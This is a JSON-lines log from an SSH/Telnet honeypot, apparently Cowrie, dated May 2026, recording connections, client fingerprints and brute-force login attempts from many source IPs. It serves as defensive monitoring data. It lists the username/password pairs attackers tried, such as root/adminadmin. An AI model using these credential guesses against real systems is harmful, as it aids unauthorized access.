{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:51.152009Z","src_ip":"176.32.39.21","session":"d971998fc70e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:51.275900Z","src_ip":"176.32.39.21","session":"d971998fc70e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antosha","message":"login attempt [root/antosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:51.651912Z","src_ip":"176.32.39.21","session":"d971998fc70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.90254807472229,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:52.481076Z","src_ip":"69.4.83.194","session":"9e95190fd9cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:52.778596Z","src_ip":"176.32.39.21","session":"d971998fc70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58672,"dst_ip":"159.203.135.109","dst_port":23,"session":"66dabcf582a2","protocol":"telnet","message":"New connection: 69.4.83.194:58672 (159.203.135.109:23) [session: 66dabcf582a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:55.064231Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":32834,"dst_ip":"159.203.135.109","dst_port":22,"session":"a595cd82ca94","protocol":"ssh","message":"New connection: 182.18.161.165:32834 (159.203.135.109:22) [session: a595cd82ca94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:01.793188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:01.800611Z","src_ip":"182.18.161.165","session":"a595cd82ca94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:02.007451Z","src_ip":"182.18.161.165","session":"a595cd82ca94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wsy123456","message":"login attempt [root/Wsy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:02.860000Z","src_ip":"182.18.161.165","session":"a595cd82ca94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:04.068569Z","src_ip":"182.18.161.165","session":"a595cd82ca94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":42286,"dst_ip":"159.203.135.109","dst_port":22,"session":"73e3a795cffd","protocol":"ssh","message":"New connection: 4.194.4.255:42286 (159.203.135.109:22) [session: 73e3a795cffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:06.597411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:06.602623Z","src_ip":"4.194.4.255","session":"73e3a795cffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:06.836349Z","src_ip":"4.194.4.255","session":"73e3a795cffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab1234567","message":"login attempt [root/Ab1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:07.799509Z","src_ip":"4.194.4.255","session":"73e3a795cffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":11083,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3cb5f5dc83","protocol":"ssh","message":"New connection: 2.57.121.25:11083 (159.203.135.109:22) [session: 3a3cb5f5dc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:08.004328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:08.010664Z","src_ip":"2.57.121.25","session":"3a3cb5f5dc83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:08.115030Z","src_ip":"2.57.121.25","session":"3a3cb5f5dc83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":36432,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f33b9716787","protocol":"telnet","message":"New connection: 178.128.93.180:36432 (10.17.0.5:23) [session: 4f33b9716787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:08.595111Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"131182","message":"login attempt [user/131182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:08.603121Z","src_ip":"2.57.121.25","session":"3a3cb5f5dc83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:09.037152Z","src_ip":"4.194.4.255","session":"73e3a795cffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":27834,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7b9022d2a6b","protocol":"ssh","message":"New connection: 190.6.32.107:27834 (159.203.135.109:22) [session: e7b9022d2a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:09.601621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:09.607229Z","src_ip":"190.6.32.107","session":"e7b9022d2a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:09.664320Z","src_ip":"190.6.32.107","session":"e7b9022d2a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13111992","message":"login attempt [user/13111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:09.714199Z","src_ip":"2.57.121.25","session":"3a3cb5f5dc83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"snq","password":"snq","message":"login attempt [snq/snq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:09.920033Z","src_ip":"190.6.32.107","session":"e7b9022d2a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13111983","message":"login attempt [user/13111983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:10.821848Z","src_ip":"2.57.121.25","session":"3a3cb5f5dc83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:10.979412Z","src_ip":"190.6.32.107","session":"e7b9022d2a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":33368,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1cccde82ec8","protocol":"ssh","message":"New connection: 27.50.25.190:33368 (159.203.135.109:22) [session: d1cccde82ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:11.922594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:11.927572Z","src_ip":"27.50.25.190","session":"d1cccde82ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13101991","message":"login attempt [user/13101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:11.935576Z","src_ip":"2.57.121.25","session":"3a3cb5f5dc83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:12.160421Z","src_ip":"27.50.25.190","session":"d1cccde82ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130990","message":"login attempt [user/130990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:13.042468Z","src_ip":"2.57.121.25","session":"3a3cb5f5dc83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123456789","message":"login attempt [root/Password123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:13.107380Z","src_ip":"27.50.25.190","session":"d1cccde82ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:14.152960Z","src_ip":"2.57.121.25","session":"3a3cb5f5dc83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:14.339710Z","src_ip":"27.50.25.190","session":"d1cccde82ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17343759536743,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:18.929840Z","src_ip":"69.4.83.194","session":"45d18d4eb08e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47200,"dst_ip":"159.203.135.109","dst_port":22,"session":"32d2cd1a07cc","protocol":"ssh","message":"New connection: 89.223.69.22:47200 (159.203.135.109:22) [session: 32d2cd1a07cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:25.760328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:25.767645Z","src_ip":"89.223.69.22","session":"32d2cd1a07cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:25.882802Z","src_ip":"89.223.69.22","session":"32d2cd1a07cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminadmin","message":"login attempt [root/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:26.273209Z","src_ip":"89.223.69.22","session":"32d2cd1a07cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:27.389640Z","src_ip":"89.223.69.22","session":"32d2cd1a07cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.222532987594604,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:29.286645Z","src_ip":"69.4.83.194","session":"66dabcf582a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":57826,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab787796d5be","protocol":"ssh","message":"New connection: 106.243.250.115:57826 (159.203.135.109:22) [session: ab787796d5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:34.090967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:34.095657Z","src_ip":"106.243.250.115","session":"ab787796d5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:34.297505Z","src_ip":"106.243.250.115","session":"ab787796d5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyan","password":"liyan123","message":"login attempt [liyan/liyan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:38:35.131649Z","src_ip":"106.243.250.115","session":"ab787796d5be","protocol":"ssh"}
